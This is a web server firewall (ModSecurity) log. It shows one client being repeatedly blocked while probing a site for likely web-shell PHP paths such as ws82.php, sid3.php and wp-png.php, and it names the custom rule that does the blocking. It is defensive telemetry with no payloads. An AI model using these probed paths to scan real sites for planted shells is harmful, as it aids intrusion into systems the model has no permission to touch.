[Thu Apr 16 21:43:26.960454 2026] [:error] [pid 57536:tid 57566] [client 20.100.190.76:51458] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "aeDnfiQU4faGja6jpDuKXAAAABI"]
[Thu Apr 16 21:43:28.902920 2026] [:error] [pid 7880:tid 7905] [client 20.100.190.76:54335] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "aeDngKaezm4fSGc0yUK0PgAAAZQ"]
[Thu Apr 16 21:43:30.786901 2026] [:error] [pid 29603:tid 29605] [client 20.100.190.76:14019] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "aeDnglfGOR6fpTWUAzqekQAAAQA"]
[Thu Apr 16 21:43:35.293206 2026] [:error] [pid 57639:tid 57666] [client 20.100.190.76:53728] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "aeDnh6MCQoTw7TsxWunAvwAAANQ"]
[Thu Apr 16 21:43:37.024453 2026] [:error] [pid 29603:tid 29615] [client 20.100.190.76:11015] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/press.php"] [unique_id "aeDniVfGOR6fpTWUAzqenQAAAQo"]
[Thu Apr 16 21:43:39.235199 2026] [:error] [pid 49094:tid 49101] [client 20.100.190.76:14034] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/press.php"] [unique_id "aeDnizbDwvcXorHR_MzunwAAAUU"]
[Thu Apr 16 21:43:40.091715 2026] [:error] [pid 7880:tid 7897] [client 20.100.190.76:54335] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/press.php"] [unique_id "aeDnjKaezm4fSGc0yUK0TAAAAYw"]
[Thu Apr 16 21:43:41.443046 2026] [:error] [pid 57639:tid 57664] [client 20.100.190.76:54286] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/press.php"] [unique_id "aeDnjaMCQoTw7TsxWunA6QAAANI"]
[Thu Apr 16 21:43:46.756866 2026] [:error] [pid 57536:tid 57561] [client 20.100.190.76:14032] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "aeDnkiQU4faGja6jpDuKqQAAAA0"]
[Thu Apr 16 21:43:48.810474 2026] [:error] [pid 7880:tid 7893] [client 20.100.190.76:11014] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "aeDnlKaezm4fSGc0yUK0UwAAAYg"]
[Thu Apr 16 21:43:50.221012 2026] [:error] [pid 57639:tid 57654] [client 20.100.190.76:11016] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "aeDnlqMCQoTw7TsxWunBRAAAAMg"]
[Thu Apr 16 21:43:52.291639 2026] [:error] [pid 7880:tid 7900] [client 20.100.190.76:52500] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "aeDnmKaezm4fSGc0yUK0XgAAAY8"]
[Thu Apr 16 21:43:53.288057 2026] [:error] [pid 49094:tid 49117] [client 20.100.190.76:46851] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aeDnmTbDwvcXorHR_Mzu6gAAAVU"]
[Thu Apr 16 21:43:55.027296 2026] [:error] [pid 29603:tid 29619] [client 20.100.190.76:43863] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aeDnm1fGOR6fpTWUAzqesAAAAQ4"]
[Thu Apr 16 21:43:56.354153 2026] [:error] [pid 29603:tid 29621] [client 20.100.190.76:50977] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aeDnnFfGOR6fpTWUAzqeswAAARA"]
[Thu Apr 16 21:43:58.088959 2026] [:error] [pid 7880:tid 7904] [client 20.100.190.76:37389] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aeDnnqaezm4fSGc0yUK0YQAAAZM"]
[Thu Apr 16 21:43:59.720031 2026] [:error] [pid 29603:tid 29619] [client 20.100.190.76:10938] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/first.php"] [unique_id "aeDnn1fGOR6fpTWUAzqewwAAAQ4"]
[Thu Apr 16 21:44:00.781882 2026] [:error] [pid 7880:tid 7887] [client 20.100.190.76:57687] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/first.php"] [unique_id "aeDnoKaezm4fSGc0yUK0awAAAYI"]
[Thu Apr 16 21:44:02.028323 2026] [:error] [pid 7880:tid 7890] [client 20.100.190.76:56505] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/first.php"] [unique_id "aeDnoqaezm4fSGc0yUK0dAAAAYU"]
[Thu Apr 16 21:44:03.327586 2026] [:error] [pid 57639:tid 57660] [client 20.100.190.76:52527] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/first.php"] [unique_id "aeDno6MCQoTw7TsxWunBUQAAAM4"]
[Thu Apr 16 21:44:04.341265 2026] [:error] [pid 49094:tid 49098] [client 20.100.190.76:54386] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "aeDnpDbDwvcXorHR_Mzu-QAAAUI"]
[Thu Apr 16 21:44:10.612518 2026] [:error] [pid 57639:tid 57670] [client 20.100.190.76:46901] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "aeDnqqMCQoTw7TsxWunBfQAAANg"]
[Thu Apr 16 21:44:16.644938 2026] [:error] [pid 57639:tid 57651] [client 20.100.190.76:10888] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "aeDnsKMCQoTw7TsxWunBlgAAAMU"]
[Thu Apr 16 21:44:18.400119 2026] [:error] [pid 49094:tid 49106] [client 20.100.190.76:56976] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "aeDnsjbDwvcXorHR_MzvGgAAAUo"]
[Thu Apr 16 21:44:24.878687 2026] [:error] [pid 57639:tid 57650] [client 20.100.190.76:46858] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeDnuKMCQoTw7TsxWunBvAAAAMQ"]
[Thu Apr 16 21:44:42.144153 2026] [:error] [pid 57639:tid 57661] [client 20.100.190.76:10920] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "aeDnyqMCQoTw7TsxWunCGwAAAM8"]
[Thu Apr 16 21:44:43.407275 2026] [:error] [pid 57639:tid 57663] [client 20.100.190.76:13759] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "aeDny6MCQoTw7TsxWunCHwAAANE"]
[Thu Apr 16 21:44:47.812552 2026] [:error] [pid 7880:tid 7908] [client 20.100.190.76:37407] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "aeDnz6aezm4fSGc0yUK0zAAAAZc"]
[Thu Apr 16 21:44:49.393716 2026] [:error] [pid 57536:tid 57569] [client 20.100.190.76:52526] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "aeDn0SQU4faGja6jpDuLKQAAABU"]
[Thu Apr 16 21:44:50.455553 2026] [:error] [pid 29603:tid 29607] [client 20.100.190.76:39225] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "aeDn0lfGOR6fpTWUAzqfAgAAAQI"]
[Thu Apr 16 21:44:52.264490 2026] [:error] [pid 57536:tid 57549] [client 20.100.190.76:10882] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "aeDn1CQU4faGja6jpDuLLgAAAAE"]
[Thu Apr 16 21:44:53.835287 2026] [:error] [pid 57639:tid 57646] [client 20.100.190.76:10905] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "aeDn1aMCQoTw7TsxWunCJwAAAMA"]
[Thu Apr 16 21:44:54.992872 2026] [:error] [pid 57538:tid 57608] [client 20.100.190.76:37402] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "aeDn1suMaiEF5SVR2BfqFQAAAIY"]
[Thu Apr 16 21:44:56.311664 2026] [:error] [pid 57639:tid 57647] [client 20.100.190.76:11111] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "aeDn2KMCQoTw7TsxWunCNwAAAME"]
[Thu Apr 16 21:44:57.267864 2026] [:error] [pid 49094:tid 49107] [client 20.100.190.76:40063] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "aeDn2TbDwvcXorHR_MzveQAAAUs"]
[Thu Apr 16 21:44:59.367798 2026] [:error] [pid 57639:tid 57656] [client 20.100.190.76:40027] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "aeDn26MCQoTw7TsxWunCPwAAAMo"]
[Thu Apr 16 21:45:02.542451 2026] [:error] [pid 57536:tid 57560] [client 20.100.190.76:40047] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "aeDn3iQU4faGja6jpDuLNgAAAAw"]
[Thu Apr 16 21:45:04.286978 2026] [:error] [pid 49094:tid 49113] [client 20.100.190.76:47362] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboutc.php"] [unique_id "aeDn4DbDwvcXorHR_MzvjAAAAVE"]
[Thu Apr 16 21:45:06.201123 2026] [:error] [pid 49094:tid 49102] [client 20.100.190.76:36625] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboutc.php"] [unique_id "aeDn4jbDwvcXorHR_MzvlQAAAUY"]
[Thu Apr 16 21:45:07.764999 2026] [:error] [pid 7880:tid 7885] [client 20.100.190.76:44681] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboutc.php"] [unique_id "aeDn46aezm4fSGc0yUK08wAAAYA"]
[Thu Apr 16 21:45:09.323204 2026] [:error] [pid 57536:tid 57566] [client 20.100.190.76:45065] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboutc.php"] [unique_id "aeDn5SQU4faGja6jpDuLOgAAABI"]
[Thu Apr 16 21:45:11.577962 2026] [:error] [pid 57639:tid 57656] [client 20.100.190.76:42194] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeDn56MCQoTw7TsxWunCdQAAAMo"]
[Thu Apr 16 21:45:12.396424 2026] [:error] [pid 57536:tid 57548] [client 20.100.190.76:60924] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeDn6CQU4faGja6jpDuLQgAAAAA"]
[Thu Apr 16 21:45:13.520252 2026] [:error] [pid 57639:tid 57655] [client 20.100.190.76:51434] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeDn6aMCQoTw7TsxWunCegAAAMk"]
[Thu Apr 16 21:45:15.776906 2026] [:error] [pid 57537:tid 57578] [client 20.100.190.76:47064] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeDn61VQRS8nm73ENAm9KgAAAEM"]
[Thu Apr 16 21:45:18.274019 2026] [:error] [pid 57536:tid 57570] [client 20.100.190.76:49996] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "aeDn7iQU4faGja6jpDuLTQAAABY"]
[Thu Apr 16 21:45:19.416621 2026] [:error] [pid 57537:tid 57581] [client 20.100.190.76:49985] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "aeDn71VQRS8nm73ENAm9KwAAAEY"]
[Thu Apr 16 21:45:23.391663 2026] [:error] [pid 57639:tid 57663] [client 20.100.190.76:43124] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "aeDn86MCQoTw7TsxWunCqwAAANE"]
[Thu Apr 16 21:45:25.799078 2026] [:error] [pid 57639:tid 57654] [client 20.100.190.76:43484] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "aeDn9aMCQoTw7TsxWunCugAAAMg"]
[Thu Apr 16 21:45:28.373605 2026] [:error] [pid 29603:tid 29618] [client 20.100.190.76:35790] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/edit.php"] [unique_id "aeDn-FfGOR6fpTWUAzqfIwAAAQ0"]
[Thu Apr 16 21:45:29.598596 2026] [:error] [pid 7880:tid 7902] [client 20.100.190.76:47097] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/edit.php"] [unique_id "aeDn-aaezm4fSGc0yUK1FAAAAZE"]
[Thu Apr 16 21:45:31.546485 2026] [:error] [pid 49094:tid 49116] [client 20.100.190.76:42196] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/edit.php"] [unique_id "aeDn-zbDwvcXorHR_MzvzwAAAVQ"]
[Thu Apr 16 21:45:35.389869 2026] [:error] [pid 7880:tid 7885] [client 20.100.190.76:42231] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/edit.php"] [unique_id "aeDn_6aezm4fSGc0yUK1IgAAAYA"]
[Thu Apr 16 21:45:37.677832 2026] [:error] [pid 57639:tid 57648] [client 20.100.190.76:49546] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws48.php"] [unique_id "aeDoAaMCQoTw7TsxWunC3AAAAMI"]
[Thu Apr 16 21:45:39.957818 2026] [:error] [pid 49094:tid 49096] [client 20.100.190.76:37351] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws48.php"] [unique_id "aeDoAzbDwvcXorHR_Mzv6AAAAUA"]
[Thu Apr 16 21:46:18.347986 2026] [:error] [pid 57536:tid 57560] [client 20.100.190.76:52506] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "aeDoKiQU4faGja6jpDuLnwAAAAw"]
